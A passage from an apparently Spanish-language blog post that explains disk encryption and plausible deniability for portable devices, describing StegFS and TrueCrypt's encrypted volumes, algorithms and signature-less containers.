ordenadores y los dispositivos de almacenamiento masivo comenzaron a ser "transportables" surgió inmediatamente la necesidad de encontrar mecanismos que permitieran proteger la información contenida en dichos dispositivos durante sus desplazamientos. Imagine el daño que podría ocasionar a un organismo estatal o a una gran empresa que a uno de sus empleados le robasen el portátil del trabajo en una gasolinera o en un aeropuerto. Por tanto, se necesitaba encontrar un medio que garantizase la &lt;span style="font-style: italic; font-weight: bold;"&gt;confidencialidad&lt;/span&gt; de la información de los dispositivos portátiles de una manera cómoda y que no penalizase su uso.&lt;br /&gt;&lt;br /&gt;Por otro lado, existe la posibilidad de que el dueño de los datos se vea sujeto a presión para que descifre los datos con su clave. Imaginemos el caso de que se someta a tortura o interrogatorio a un empleado que trabaje en proyectos militares o a un disidente político que guarde en su portátil artículos de opinión que podrían llevarle ante un pelotón de fusilamiento. En esos casos resulta muy útil que existan mecanismos que ofrezcan &lt;span style="font-style: italic; font-weight: bold;"&gt;denegabilidad&lt;/span&gt; de la información. Esos mecanismos permitirían descifrar ficheros "señuelo", de poca importancia o incluso directamente falsos,  que permitirían  engañar a los interrogadores, los cuales carecerían de medios para saber si esa es toda la información cifrada o si por el contrario hay &lt;span style="font-style: italic;"&gt;algo más&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Para responder a estos problemas los militares han venido desarrollando desde hace mucho tiempo sistemas de cifrado capaces de proteger los datos en caso de que los dispositivos de almacenamiento masivo cayesen en manos enemigas.&lt;br /&gt;&lt;br /&gt;A nivel civil, uno de los primeros ejemplos lo encontramos en el sistema de ficheros &lt;a href="http://stegfs.sourceforge.net/"&gt;StegFS&lt;/a&gt;. Este sistema de ficheros permite no solo cifrar datos comprometedores sino aplicarles métodos esteganográficos que doten de la citada denegabilidad a la información. El desarrollo de StegFS esta parado actualmente y no se recomienda usarlo en infraestructuras modernas (de hecho sólo admite kernels de la rama 2.2.x), sin embargo su página web cuenta con varios papers, de lectura más que recomendable, que explican los fundamentos teóricos de este tipo de mecanismos.&lt;br /&gt;&lt;br /&gt;Otra opción, esta sí en desarrollo constante y que ha venido a recoger el testigo del sistema anterior, es &lt;a href="http://www.truecrypt.org/"&gt;TrueCrypt&lt;/a&gt;.  Esta herramienta es multiplataforma (corre en Windows, Mac y Linux) y permite crear discos virtuales cifrados que se pueden montar como unidades normales del sistema, realizándose el cifrado-descifrado en tiempo real (&lt;span style="font-style: italic;"&gt;on-the-fly&lt;/span&gt;), de manera que operar sobre los archivos cifrados resulta completamente transparente para el usuario. Al desmontar estos discos virtuales TrueCrypt los cifra en un único archivo sin que exista manera de que un atacante pueda saber cuantos archivos cifrados hay dentro del principal. Para todo ello el usuario utiliza una contraseña de su invención y uno de los algoritmos de cifrado simétrico que le ofrece la herramienta, como por ejemplo AES-256, Serpent o Twofish, entre otros.&lt;br /&gt;&lt;br /&gt;La utilidad de esta herramienta es evidente, podemos cifrar desde los datos personales que llevamos en nuestra memoria USB (por ejemplo nuestro certificado de la FNMT, listados de contraseñas, mapas de red o fotos personales) o incluso toda una partición, incluida la de arranque ya que TrueCrypt permite establecer una autentificación durante el inicio del equipo, de tal manera que si nos roban el portátil será prácticamente imposible que puedan extraer alguna información de su disco duro.&lt;br /&gt;&lt;br /&gt;TrueCrypt ofrece dos niveles de denegabilidad. Para empezar, sin la clave de descifrado los volúmenes cifrados de TrueCrypt son indistinguibles de cualquier otro tipo de ficheros con datos binarios, es decir, los ficheros que contienen los volúmenes cifrados por TrueCrypt carecen de cualquier tipo de &lt;span style="font-style: italic;"&gt;firma&lt;/span&gt; que permita identificarlos como tales.
